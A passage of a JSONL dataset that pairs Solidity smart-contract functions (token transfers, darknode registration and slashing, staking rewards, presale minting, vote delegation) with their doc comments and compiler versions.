self.list[node].previous;\r\n address n = self.list[node].next;\r\n\r\n self.list[p].next = n;\r\n self.list[n].previous = p;\r\n\r\n // Deleting the node should set this value to false, but we set it here for\r\n // explicitness.\r\n self.list[node].inList = false;\r\n delete self.list[node];\r\n }", "version": "0.5.8"} {"comment": "/**\n * @dev transfer token for a specified address\n * @param _to The address to transfer to.\n * @param _amount The amount to be transferred.\n */", "function_code": "function transfer(address _to, uint256 _amount) public override returns (bool success) {\n require(_to != msg.sender, \"Cannot transfer to self\");\n require(_to != address(this), \"Cannot transfer to Contract\");\n require(_to != address(0), \"Cannot transfer to 0x0\");\n require(\n balances[msg.sender] >= _amount && _amount > 0 && balances[_to].add(_amount) > balances[_to],\n \"Cannot transfer (Not enough balance)\"\n );\n\n requireWithinLockupRange(msg.sender, _amount);\n\n // SafeMath.sub will throw if there is not enough balance.\n balances[msg.sender] = balances[msg.sender].sub(_amount);\n balances[_to] = balances[_to].add(_amount);\n emit Transfer(msg.sender, _to, _amount);\n return true;\n }", "version": "0.7.1"} {"comment": "/// @notice Instantiates a darknode and appends it to the darknodes\n/// linked-list.\n///\n/// @param _darknodeID The darknode's ID.\n/// @param _darknodeOwner The darknode's owner's address\n/// @param _bond The darknode's bond value\n/// @param _publicKey The darknode's public key\n/// @param _registeredAt The time stamp when the darknode is registered.\n/// @param _deregisteredAt The time stamp when the darknode is deregistered.", "function_code": "function appendDarknode(\r\n address _darknodeID,\r\n address payable _darknodeOwner,\r\n uint256 _bond,\r\n bytes calldata _publicKey,\r\n uint256 _registeredAt,\r\n uint256 _deregisteredAt\r\n ) external onlyOwner {\r\n Darknode memory darknode = Darknode({\r\n owner: _darknodeOwner,\r\n bond: _bond,\r\n publicKey: _publicKey,\r\n registeredAt: _registeredAt,\r\n deregisteredAt: _deregisteredAt\r\n });\r\n darknodeRegistry[_darknodeID] = darknode;\r\n LinkedList.append(darknodes, _darknodeID);\r\n }", "version": "0.5.8"} {"comment": "/// @notice Register a darknode and transfer the bond to this contract.\n/// Before registering, the bond transfer must be approved in the REN\n/// contract. The caller must provide a public encryption key for the\n/// darknode. The darknode will remain pending registration until the next\n/// epoch. Only after this period can the darknode be deregistered. The\n/// caller of this method will be stored as the owner of the darknode.\n///\n/// @param _darknodeID The darknode ID that will be registered.\n/// @param _publicKey The public key of the darknode. It is stored to allow\n/// other darknodes and traders to encrypt messages to the trader.", "function_code": "function register(address _darknodeID, bytes calldata _publicKey) external onlyRefunded(_darknodeID) {\r\n // Use the current minimum bond as the darknode's bond.\r\n uint256 bond = minimumBond;\r\n\r\n // Transfer bond to store\r\n require(ren.transferFrom(msg.sender, address(store), bond), \"bond transfer failed\");\r\n\r\n // Flag this darknode for registration\r\n store.appendDarknode(\r\n _darknodeID,\r\n msg.sender,\r\n bond,\r\n _publicKey,\r\n currentEpoch.blocknumber.add(minimumEpochInterval),\r\n 0\r\n );\r\n\r\n numDarknodesNextEpoch = numDarknodesNextEpoch.add(1);\r\n\r\n // Emit an event.\r\n emit LogDarknodeRegistered(_darknodeID, bond);\r\n }", "version": "0.5.8"} {"comment": "/**\n * @dev Burns a specific amount of tokens.\n * @param _value The amount of token to be burned.\n */", "function_code": "function burn(uint256 _value) public onlyOwner {\n require(_value <= balances[msg.sender], \"Not enough balance to burn\");\n // no need to require value <= totalSupply, since that would imply the\n // sender's balance is greater than the totalSupply, which *should* be an assertion failure\n\n balances[msg.sender] = balances[msg.sender].sub(_value);\n totalSupply = totalSupply.sub(_value);\n emit Burn(msg.sender, _value);\n }", "version": "0.7.1"} {"comment": "/// @notice Progress the epoch if it is possible to do so. This captures\n/// the current timestamp and current blockhash and overrides the current\n/// epoch.", "function_code": "function epoch() external {\r\n if (previousEpoch.blocknumber == 0) {\r\n // The first epoch must be called by the owner of the contract\r\n require(msg.sender == owner(), \"not authorized (first epochs)\");\r\n }\r\n\r\n // Require that the epoch interval has passed\r\n require(block.number >= currentEpoch.blocknumber.add(minimumEpochInterval), \"epoch interval has not passed\");\r\n uint256 epochhash = uint256(blockhash(block.number - 1));\r\n\r\n // Update the epoch hash and timestamp\r\n previousEpoch = currentEpoch;\r\n currentEpoch = Epoch({\r\n epochhash: epochhash,\r\n blocknumber: block.number\r\n });\r\n\r\n // Update the registry information\r\n numDarknodesPreviousEpoch = numDarknodes;\r\n numDarknodes = numDarknodesNextEpoch;\r\n\r\n // If any update functions have been called, update the values now\r\n if (nextMinimumBond != minimumBond) {\r\n minimumBond = nextMinimumBond;\r\n emit LogMinimumBondUpdated(minimumBond, nextMinimumBond);\r\n }\r\n if (nextMinimumPodSize != minimumPodSize) {\r\n minimumPodSize = nextMinimumPodSize;\r\n emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize);\r\n }\r\n if (nextMinimumEpochInterval != minimumEpochInterval) {\r\n minimumEpochInterval = nextMinimumEpochInterval;\r\n emit LogMinimumEpochIntervalUpdated(minimumEpochInterval, nextMinimumEpochInterval);\r\n }\r\n if (nextSlasher != slasher) {\r\n slasher = nextSlasher;\r\n emit LogSlasherUpdated(address(slasher), address(nextSlasher));\r\n }\r\n\r\n // Emit an event\r\n emit LogNewEpoch(epochhash);\r\n }", "version": "0.5.8"} {"comment": "/// @notice Allow the DarknodeSlasher contract to slash half of a darknode's\n/// bond and deregister it. The bond is distributed as follows:\n/// 1/2 is kept by the guilty prover\n/// 1/8 is rewarded to the first challenger\n/// 1/8 is rewarded to the second challenger\n/// 1/4 becomes unassigned\n/// @param _prover The guilty prover whose bond is being slashed\n/// @param _challenger1 The first of the two darknodes who submitted the challenge\n/// @param _challenger2 The second of the two darknodes who submitted the challenge", "function_code": "function slash(address _prover, address _challenger1, address _challenger2)\r\n external\r\n onlySlasher\r\n {\r\n uint256 penalty = store.darknodeBond(_prover) / 2;\r\n uint256 reward = penalty / 4;\r\n\r\n // Slash the bond of the failed prover in half\r\n store.updateDarknodeBond(_prover, penalty);\r\n\r\n // If the darknode has not been deregistered then deregister it\r\n if (isDeregisterable(_prover)) {\r\n deregisterDarknode(_prover);\r\n }\r\n\r\n // Reward the challengers with less than the penalty so that it is not\r\n // worth challenging yourself\r\n require(ren.transfer(store.darknodeOwner(_challenger1), reward), \"reward transfer failed\");\r\n require(ren.transfer(store.darknodeOwner(_challenger2), reward), \"reward transfer failed\");\r\n }", "version": "0.5.8"} {"comment": "/// @notice Refund the bond of a deregistered darknode. This will make the\n/// darknode available for registration again. Anyone can call this function\n/// but the bond will always be refunded to the darknode owner.\n///\n/// @param _darknodeID The darknode ID that will be refunded. The caller\n/// of this method must be the owner of this darknode.", "function_code": "function refund(address _darknodeID) external onlyRefundable(_darknodeID) {\r\n address darknodeOwner = store.darknodeOwner(_darknodeID);\r\n\r\n // Remember the bond amount\r\n uint256 amount = store.darknodeBond(_darknodeID);\r\n\r\n // Erase the darknode from the registry\r\n store.removeDarknode(_darknodeID);\r\n\r\n // Refund the owner by transferring REN\r\n require(ren.transfer(darknodeOwner, amount), \"bond transfer failed\");\r\n\r\n // Emit an event.\r\n emit LogDarknodeOwnerRefunded(darknodeOwner, amount);\r\n }", "version": "0.5.8"} {"comment": "/// @notice Returns if a darknode can be deregistered. This is true if the\n/// darknodes is in the registered state and has not attempted to\n/// deregister yet.", "function_code": "function isDeregisterable(address _darknodeID) public view returns (bool) {\r\n uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);\r\n // The Darknode is currently in the registered state and has not been\r\n // transitioned to the pending deregistration, or deregistered, state\r\n return isRegistered(_darknodeID) && deregisteredAt == 0;\r\n }", "version": "0.5.8"} {"comment": "// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)", "function_code": "function sqrt(uint256 y) internal pure returns (uint256 z) {\r\n if (y > 3) {\r\n z = y;\r\n uint256 x = y / 2 + 1;\r\n while (x < z) {\r\n z = x;\r\n x = (y / x + x) / 2;\r\n }\r\n } else if (y != 0) {\r\n z = 1;\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Deprecated. This function has issues similar to the ones found in\r\n * {IBEP20-approve}, and its usage is discouraged.\r\n *\r\n * Whenever possible, use {safeIncreaseAllowance} and\r\n * {safeDecreaseAllowance} instead.\r\n */", "function_code": "function safeApprove(\r\n IBEP20 token,\r\n address spender,\r\n uint256 value\r\n ) internal {\r\n // safeApprove should only be called when setting an initial allowance,\r\n // or when resetting it to zero. To increase and decrease it, use\r\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\r\n // solhint-disable-next-line max-line-length\r\n require(\r\n (value == 0) || (token.allowance(address(this), spender) == 0),\r\n 'SafeBEP20: approve from non-zero to non-zero allowance'\r\n );\r\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\r\n * on the return value: the return value is optional (but if data is returned, it must not be false).\r\n * @param token The token targeted by the call.\r\n * @param data The call data (encoded using abi.encode or one of its variants).\r\n */", "function_code": "function _callOptionalReturn(IBEP20 token, bytes memory data) private {\r\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\r\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\r\n // the target address contains contract code and also asserts for success in the low-level call.\r\n\r\n bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');\r\n if (returndata.length > 0) {\r\n // Return data is optional\r\n // solhint-disable-next-line max-line-length\r\n require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// @notice Returns if a darknode was in the registered state for a given\n/// epoch.\n/// @param _darknodeID The ID of the darknode\n/// @param _epoch One of currentEpoch, previousEpoch", "function_code": "function isRegisteredInEpoch(address _darknodeID, Epoch memory _epoch) private view returns (bool) {\r\n uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);\r\n uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);\r\n bool registered = registeredAt != 0 && registeredAt <= _epoch.blocknumber;\r\n bool notDeregistered = deregisteredAt == 0 || deregisteredAt > _epoch.blocknumber;\r\n // The Darknode has been registered and has not yet been deregistered,\r\n // although it might be pending deregistration\r\n return registered && notDeregistered;\r\n }", "version": "0.5.8"} {"comment": "/// @notice Returns a list of darknodes registered for either the current\n/// or the previous epoch. See `getDarknodes` for documentation on the\n/// parameters `_start` and `_count`.\n/// @param _usePreviousEpoch If true, use the previous epoch, otherwise use\n/// the current epoch.", "function_code": "function getDarknodesFromEpochs(address _start, uint256 _count, bool _usePreviousEpoch) private view returns (address[] memory) {\r\n uint256 count = _count;\r\n if (count == 0) {\r\n count = numDarknodes;\r\n }\r\n\r\n address[] memory nodes = new address[](count);\r\n\r\n // Begin with the first node in the list\r\n uint256 n = 0;\r\n address next = _start;\r\n if (next == address(0)) {\r\n next = store.begin();\r\n }\r\n\r\n // Iterate until all registered Darknodes have been collected\r\n while (n < count) {\r\n if (next == address(0)) {\r\n break;\r\n }\r\n // Only include Darknodes that are currently registered\r\n bool includeNext;\r\n if (_usePreviousEpoch) {\r\n includeNext = isRegisteredInPreviousEpoch(next);\r\n } else {\r\n includeNext = isRegistered(next);\r\n }\r\n if (!includeNext) {\r\n next = store.next(next);\r\n continue;\r\n }\r\n nodes[n] = next;\r\n next = store.next(next);\r\n n += 1;\r\n }\r\n return nodes;\r\n }", "version": "0.5.8"} {"comment": "/// @notice Blacklists a darknode from participating in reward allocation.\n/// If the darknode is whitelisted, it is removed from the whitelist\n/// and the number of whitelisted nodes is decreased.\n///\n/// @param _darknode The address of the darknode to blacklist", "function_code": "function blacklist(address _darknode) external onlyOwner {\r\n require(!isBlacklisted(_darknode), \"darknode already blacklisted\");\r\n darknodeBlacklist[_darknode] = now;\r\n\r\n // Unwhitelist if necessary\r\n if (isWhitelisted(_darknode)) {\r\n darknodeWhitelist[_darknode] = 0;\r\n // Use SafeMath when subtracting to avoid underflows\r\n darknodeWhitelistLength = darknodeWhitelistLength.sub(1);\r\n }\r\n }", "version": "0.5.8"} {"comment": "// Return reward multiplier over the given _from to _to block.", "function_code": "function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {\r\n if (_to <= bonusEndBlock) {\r\n return _to.sub(_from);\r\n } else if (_from >= bonusEndBlock) {\r\n return 0;\r\n } else {\r\n return bonusEndBlock.sub(_from);\r\n }\r\n }", "version": "0.6.12"} {"comment": "// View function to see pending Reward on frontend.", "function_code": "function pendingReward(address _user) external view returns (uint256) {\r\n PoolInfo storage pool = poolInfo[0];\r\n UserInfo storage user = userInfo[_user];\r\n uint256 accCakePerShare = pool.accCakePerShare;\r\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\r\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\r\n uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);\r\n uint256 cakeReward = multiplier.mul(rewardPerBlock).mul(pool.allocPoint).div(totalAllocPoint);\r\n accCakePerShare = accCakePerShare.add(cakeReward.mul(1e12).div(lpSupply));\r\n }\r\n return user.amount.mul(accCakePerShare).div(1e12).sub(user.rewardDebt);\r\n }", "version": "0.6.12"} {"comment": "// Update reward variables of the given pool to be up-to-date.", "function_code": "function updatePool(uint256 _pid) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n if (block.number <= pool.lastRewardBlock) {\r\n return;\r\n }\r\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\r\n if (lpSupply == 0) {\r\n pool.lastRewardBlock = block.number;\r\n return;\r\n }\r\n uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);\r\n uint256 cakeReward = multiplier.mul(rewardPerBlock).mul(pool.allocPoint).div(totalAllocPoint);\r\n pool.accCakePerShare = pool.accCakePerShare.add(cakeReward.mul(1e12).div(lpSupply));\r\n pool.lastRewardBlock = block.number;\r\n }", "version": "0.6.12"} {"comment": "// Stake SYRUP tokens to SmartChef", "function_code": "function deposit(uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[0];\r\n UserInfo storage user = userInfo[msg.sender];\r\n\r\n // require (_amount.add(user.amount) <= maxStaking, 'exceed max stake');\r\n\r\n updatePool(0);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);\r\n if(pending > 0) {\r\n rewardToken.safeTransfer(address(msg.sender), pending);\r\n }\r\n }\r\n if(_amount > 0) {\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n uint256 localDepositFee = 0;\r\n if(depositFee > 0){\r\n localDepositFee = _amount.mul(depositFee).div(10000);\r\n pool.lpToken.safeTransfer(feeReceiver, localDepositFee);\r\n }\r\n user.amount = user.amount.add(_amount).sub(localDepositFee);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);\r\n\r\n emit Deposit(msg.sender, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Withdraw SYRUP tokens from STAKING.", "function_code": "function withdraw(uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[0];\r\n UserInfo storage user = userInfo[msg.sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool(0);\r\n uint256 pending = user.amount.mul(pool.accCakePerShare).div(1e12).sub(user.rewardDebt);\r\n if(pending > 0) {\r\n rewardToken.safeTransfer(address(msg.sender), pending);\r\n }\r\n if(_amount > 0) {\r\n user.amount = user.amount.sub(_amount);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n }\r\n user.rewardDebt = user.amount.mul(pool.accCakePerShare).div(1e12);\r\n\r\n emit Withdraw(msg.sender, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\n \t * @dev Returns the subtraction of two signed integers, reverting on\n \t * overflow.\n \t *\n \t * Counterpart to Solidity's `-` operator.\n \t *\n \t * Requirements:\n \t *\n \t * - Subtraction cannot overflow.\n \t */", "function_code": "function sub(int256 a, int256 b) internal pure returns (int256) {\n\t\tint256 c = a - b;\n\t\trequire((b >= 0 && c <= a) || (b < 0 && c > a), \"SignedSafeMath: subtraction overflow\");\n\n\t\treturn c;\n\t}", "version": "0.6.12"} {"comment": "/**\n \t * @dev Returns the addition of two signed integers, reverting on\n \t * overflow.\n \t *\n \t * Counterpart to Solidity's `+` operator.\n \t *\n \t * Requirements:\n \t *\n \t * - Addition cannot overflow.\n \t */", "function_code": "function add(int256 a, int256 b) internal pure returns (int256) {\n\t\tint256 c = a + b;\n\t\trequire((b >= 0 && c >= a) || (b < 0 && c < a), \"SignedSafeMath: addition overflow\");\n\n\t\treturn c;\n\t}", "version": "0.6.12"} {"comment": "/// @notice Transfers `amount` tokens from `msg.sender` to `to`.\n/// @param to The address to move the tokens.\n/// @param amount of the tokens to move.\n/// @return (bool) Returns True if succeeded.", "function_code": "function transfer(address to, uint256 amount) public returns (bool) {\n\t\t// If `amount` is 0, or `msg.sender` is `to` nothing happens\n\t\tif (amount != 0) {\n\t\t\tuint256 srcBalance = balanceOf[msg.sender];\n\t\t\trequire(srcBalance >= amount, \"ERC20::transfer: balance too low\");\n\t\t\tif (msg.sender != to) {\n\t\t\t\trequire(to != address(0), \"ERC20::transfer: no zero address\"); // Moved down so low balance calls safe some gas\n\n\t\t\t\tbalanceOf[msg.sender] = srcBalance - amount; // Underflow is checked\n\t\t\t\tbalanceOf[to] += amount; // Can't overflow because totalSupply would be greater than 2^256-1\n\t\t\t}\n\t\t}\n\t\temit Transfer(msg.sender, to, amount);\n\t\treturn true;\n\t}", "version": "0.6.12"} {"comment": "/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval for `from`.\n/// @param from Address to draw tokens from.\n/// @param to The address to move the tokens.\n/// @param amount The token amount to move.\n/// @return (bool) Returns True if succeeded.", "function_code": "function transferFrom(\n\t\taddress from,\n\t\taddress to,\n\t\tuint256 amount\n\t) public returns (bool) {\n\t\t// If `amount` is 0, or `from` is `to` nothing happens\n\t\tif (amount != 0) {\n\t\t\tuint256 srcBalance = balanceOf[from];\n\t\t\trequire(srcBalance >= amount, \"ERC20::transferFrom: balance too low\");\n\n\t\t\tif (from != to) {\n\t\t\t\tuint256 spenderAllowance = allowance[from][msg.sender];\n\n\t\t\t\t// If allowance is infinite, don't decrease it to save on gas (breaks with EIP-20).\n\t\t\t\tif (spenderAllowance != type(uint256).max) {\n\t\t\t\t\trequire(spenderAllowance >= amount, \"ERC20::transferFrom: allowance too low\");\n\t\t\t\t\tallowance[from][msg.sender] = spenderAllowance - amount; // Underflow is checked\n\t\t\t\t}\n\t\t\t\trequire(to != address(0), \"ERC20::transferFrom: no zero address\"); // Moved down so other failed calls safe some gas\n\n\t\t\t\tbalanceOf[from] = srcBalance - amount; // Underflow is checked\n\t\t\t\tbalanceOf[to] += amount; // Can't overflow because totalSupply would be greater than 2^256-1\n\t\t\t}\n\t\t}\n\t\temit Transfer(from, to, amount);\n\t\treturn true;\n\t}", "version": "0.6.12"} {"comment": "/// @notice Approves `value` from `owner_` to be spend by `spender`.\n/// @param owner_ Address of the owner.\n/// @param spender The address of the spender that gets approved to draw from `owner_`.\n/// @param value The maximum collective amount that `spender` can draw.\n/// @param deadline This permit must be redeemed before this deadline (UTC timestamp in seconds).", "function_code": "function permit(\n\t\taddress owner_,\n\t\taddress spender,\n\t\tuint256 value,\n\t\tuint256 deadline,\n\t\tuint8 v,\n\t\tbytes32 r,\n\t\tbytes32 s\n\t) external {\n\t\trequire(owner_ != address(0), \"ERC20::permit: Owner cannot be 0\");\n\t\trequire(block.timestamp < deadline, \"ERC20: Expired\");\n\t\trequire(\n\t\t\tecrecover(\n\t\t\t\t_getDigest(\n\t\t\t\t\tkeccak256(abi.encode(PERMIT_SIGNATURE_HASH, owner_, spender, value, nonces[owner_]++, deadline))\n\t\t\t\t),\n\t\t\t\tv,\n\t\t\t\tr,\n\t\t\t\ts\n\t\t\t) == owner_,\n\t\t\t\"ERC20::permit: Invalid Signature\"\n\t\t);\n\t\tallowance[owner_][spender] = value;\n\t\temit Approval(owner_, spender, value);\n\t}", "version": "0.6.12"} {"comment": "/// @notice Add a new LP to the pool. Can only be called by the owner.\n/// DO NOT add the same LP token more than once. Rewards will be messed up if you do.\n/// @param allocPoint AP of the new pool.\n/// @param _pid Pid on MCV2", "function_code": "function addPool(uint256 _pid, uint256 allocPoint) public onlyOwner {\n\t\trequire(poolInfo[_pid].lastRewardBlock == 0, \"ALCXRewarder::add: cannot add existing pool\");\n\n\t\tuint256 lastRewardBlock = block.number;\n\t\ttotalAllocPoint = totalAllocPoint.add(allocPoint);\n\n\t\tpoolInfo[_pid] = PoolInfo({\n\t\t\tallocPoint: allocPoint.to64(),\n\t\t\tlastRewardBlock: lastRewardBlock.to64(),\n\t\t\taccTokenPerShare: 0\n\t\t});\n\t\tpoolIds.push(_pid);\n\n\t\temit PoolAdded(_pid, allocPoint);\n\t}", "version": "0.6.12"} {"comment": "/// @notice Update reward variables of the given pool.\n/// @param pid The index of the pool. See `poolInfo`.\n/// @return pool Returns the pool that was updated.", "function_code": "function updatePool(uint256 pid) public returns (PoolInfo memory pool) {\n\t\tpool = poolInfo[pid];\n\n\t\tif (block.number > pool.lastRewardBlock) {\n\t\t\tuint256 lpSupply = MC_V2.lpToken(pid).balanceOf(address(MC_V2));\n\n\t\t\tif (lpSupply > 0) {\n\t\t\t\tuint256 blocks = block.number.sub(pool.lastRewardBlock);\n\t\t\t\tuint256 tokenReward = blocks.mul(tokenPerBlock).mul(pool.allocPoint) / totalAllocPoint;\n\t\t\t\tpool.accTokenPerShare = pool.accTokenPerShare.add(\n\t\t\t\t\t(tokenReward.mul(ACC_TOKEN_PRECISION) / lpSupply).to128()\n\t\t\t\t);\n\t\t\t}\n\n\t\t\tpool.lastRewardBlock = block.number.to64();\n\t\t\tpoolInfo[pid] = pool;\n\n\t\t\temit PoolUpdated(pid, pool.lastRewardBlock, lpSupply, pool.accTokenPerShare);\n\t\t}\n\t}", "version": "0.6.12"} {"comment": "/// @notice View function to see pending Token\n/// @param _pid The index of the pool. See `poolInfo`.\n/// @param _user Address of user.\n/// @return pending SUSHI reward for a given user.", "function_code": "function pendingToken(uint256 _pid, address _user) public view returns (uint256 pending) {\n\t\tPoolInfo memory pool = poolInfo[_pid];\n\t\tUserInfo storage user = userInfo[_pid][_user];\n\n\t\tuint256 accTokenPerShare = pool.accTokenPerShare;\n\t\tuint256 lpSupply = MC_V2.lpToken(_pid).balanceOf(address(MC_V2));\n\n\t\tif (block.number > pool.lastRewardBlock && lpSupply != 0) {\n\t\t\tuint256 blocks = block.number.sub(pool.lastRewardBlock);\n\t\t\tuint256 tokenReward = blocks.mul(tokenPerBlock).mul(pool.allocPoint) / totalAllocPoint;\n\t\t\taccTokenPerShare = accTokenPerShare.add(tokenReward.mul(ACC_TOKEN_PRECISION) / lpSupply);\n\t\t}\n\n\t\tpending = (user.amount.mul(accTokenPerShare) / ACC_TOKEN_PRECISION).sub(user.rewardDebt);\n\t}", "version": "0.6.12"} {"comment": "/**\r\n * @dev token purchase with pay Land tokens\r\n * @param beneficiary Recipient of the token purchase\r\n * @param tokenId uint256 ID of the token to be purchase\r\n */", "function_code": "function buyToken(address beneficiary, uint256 tokenId) public payable{\r\n require(beneficiary != address(0), \"Presale: beneficiary is the zero address\");\r\n require(weiPerToken() == msg.value, \"Presale: Not enough Eth\");\r\n require(!_cellToken.exists(tokenId), \"Presale: token already minted\");\r\n require(tokenId < 11520, \"Presale: tokenId must be less than max token count\");\r\n (uint256 x, uint256 y) = cellById(tokenId);\r\n require(x < 38 || x > 53 || y < 28 || y > 43, \"Presale: tokenId should not be in the unsold range\");\r\n _wallet.transfer(msg.value);\r\n _cellToken.mint(beneficiary, tokenId);\r\n emit TokensPurchased(msg.sender, beneficiary, tokenId);\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev batch token purchase with pay our ERC20 tokens\r\n * @param beneficiary Recipient of the token purchase\r\n * @param tokenIds uint256 IDs of the token to be purchase\r\n */", "function_code": "function buyBatchTokens(address beneficiary, uint256[] memory tokenIds) public payable{\r\n require(beneficiary != address(0), \"Presale: beneficiary is the zero address\");\r\n uint256 weiAmount = weiPerToken() * tokenIds.length;\r\n require(weiAmount == msg.value, \"Presale: Not enough Eth\");\r\n for (uint256 i = 0; i < tokenIds.length; ++i) {\r\n require(!_cellToken.exists(tokenIds[i]), \"Presale: token already minted\");\r\n require(tokenIds[i] < 11520, \"Presale: tokenId must be less than max token count\");\r\n (uint256 x, uint256 y) = cellById(tokenIds[i]);\r\n require(x < 38 || x > 53 || y < 28 || y > 43, \"Presale: tokenId should not be in the unsold range\");\r\n }\r\n _wallet.transfer(msg.value);\r\n for (uint256 i = 0; i < tokenIds.length; ++i) {\r\n _cellToken.mint(beneficiary, tokenIds[i]);\r\n emit TokensPurchased(msg.sender, beneficiary, tokenIds[i]);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/* ========== MUTATIVE FUNCTIONS ========== */", "function_code": "function handleKeeperIncentive(\n bytes32 _contractName,\n uint8 _i,\n address _keeper\n ) external {\n require(msg.sender == controllerContracts[_contractName], \"Can only be called by the controlling contract\");\n require(\n IStaking(_getContract(keccak256(\"PopLocker\"))).balanceOf(_keeper) >= requiredKeeperStake,\n \"not enough pop at stake\"\n );\n\n Incentive memory incentive = incentives[_contractName][_i];\n\n if (!incentive.openToEveryone) {\n _requireRole(KEEPER_ROLE, _keeper);\n }\n if (incentive.enabled && incentive.reward <= incentiveBudget && incentive.reward > 0) {\n incentiveBudget = incentiveBudget - incentive.reward;\n uint256 amountToBurn = (incentive.reward * burnRate) / 1e18;\n uint256 incentivePayout = incentive.reward - amountToBurn;\n IERC20(_getContract(keccak256(\"POP\"))).safeTransfer(_keeper, incentivePayout);\n _burn(amountToBurn);\n }\n }", "version": "0.8.1"} {"comment": "/* ========== RESTRICTED FUNCTIONS ========== */", "function_code": "function updateIncentive(\n bytes32 _contractName,\n uint8 _i,\n uint256 _reward,\n bool _enabled,\n bool _openToEveryone\n ) external onlyRole(DAO_ROLE) {\n Incentive storage incentive = incentives[_contractName][_i];\n uint256 oldReward = incentive.reward;\n bool oldOpenToEveryone = incentive.openToEveryone;\n incentive.reward = _reward;\n incentive.enabled = _enabled;\n incentive.openToEveryone = _openToEveryone;\n emit IncentiveChanged(_contractName, oldReward, _reward, oldOpenToEveryone, _openToEveryone);\n }", "version": "0.8.1"} {"comment": "// Update reward variables of the given pool to be up-to-date.\n// No new RLY are minted, distribution is dependent on sufficient RLY tokens being sent to this contract", "function_code": "function updatePool(uint256 _pid) public {\n PoolInfo storage pool = poolInfo[_pid];\n if (block.number <= pool.lastRewardBlock) {\n return;\n }\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\n if (lpSupply == 0) {\n pool.lastRewardBlock = block.number;\n return;\n }\n uint256 multiplier = block.number.sub(pool.lastRewardBlock);\n uint256 rallyReward = multiplier.mul(rallyPerBlock).mul(pool.allocPoint).div(totalAllocPoint);\n pool.accRallyPerShare = pool.accRallyPerShare.add(rallyReward.mul(1e12).div(lpSupply));\n pool.lastRewardBlock = block.number;\n }", "version": "0.6.12"} {"comment": "/**\n \t * @notice Delegates votes from signatory to `delegatee`\n \t * @param delegatee The address to delegate votes to\n \t * @param nonce The contract state required to match the signature\n \t * @param expiry The time at which to expire the signature\n \t * @param v The recovery byte of the signature\n \t * @param r Half of the ECDSA signature pair\n \t * @param s Half of the ECDSA signature pair\n \t */", "function_code": "function delegateBySig(\n\t\taddress delegatee,\n\t\tuint256 nonce,\n\t\tuint256 expiry,\n\t\tuint8 v,\n\t\tbytes32 r,\n\t\tbytes32 s\n\t) external {\n\t\tbytes32 domainSeparator =\n\t\t\tkeccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this)));\n\n\t\tbytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));\n\n\t\tbytes32 digest = keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\n\n\t\taddress signatory = ecrecover(digest, v, r, s);\n\t\trequire(signatory != address(0), \"SUSHI::delegateBySig: invalid signature\");\n\t\trequire(nonce == nonces[signatory]++, \"SUSHI::delegateBySig: invalid nonce\");\n\t\trequire(now <= expiry, \"SUSHI::delegateBySig: signature expired\");\n\t\treturn _delegate(signatory, delegatee);\n\t}", "version": "0.6.12"} {"comment": "/**\n \t * @notice Determine the prior number of votes for an account as of a block number\n \t * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.\n \t * @param account The address of the account to check\n \t * @param blockNumber The block number to get the vote balance at\n \t * @return The number of votes the account had as of the given block\n \t */", "function_code": "function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {\n\t\trequire(blockNumber < block.number, \"SUSHI::getPriorVotes: not yet determined\");\n\n\t\tuint32 nCheckpoints = numCheckpoints[account];\n\t\tif (nCheckpoints == 0) {\n\t\t\treturn 0;\n\t\t}\n\n\t\t// First check most recent balance\n\t\tif (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {\n\t\t\treturn checkpoints[account][nCheckpoints - 1].votes;\n\t\t}\n\n\t\t// Next check implicit zero balance\n\t\tif (checkpoints[account][0].fromBlock > blockNumber) {\n\t\t\treturn 0;\n\t\t}\n\n\t\tuint32 lower = 0;\n\t\tuint32 upper = nCheckpoints - 1;\n\t\twhile (upper > lower) {\n\t\t\tuint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow\n\t\t\tCheckpoint memory cp = checkpoints[account][center];\n\t\t\tif (cp.fromBlock == blockNumber) {\n\t\t\t\treturn cp.votes;\n\t\t\t} else if (cp.fromBlock < 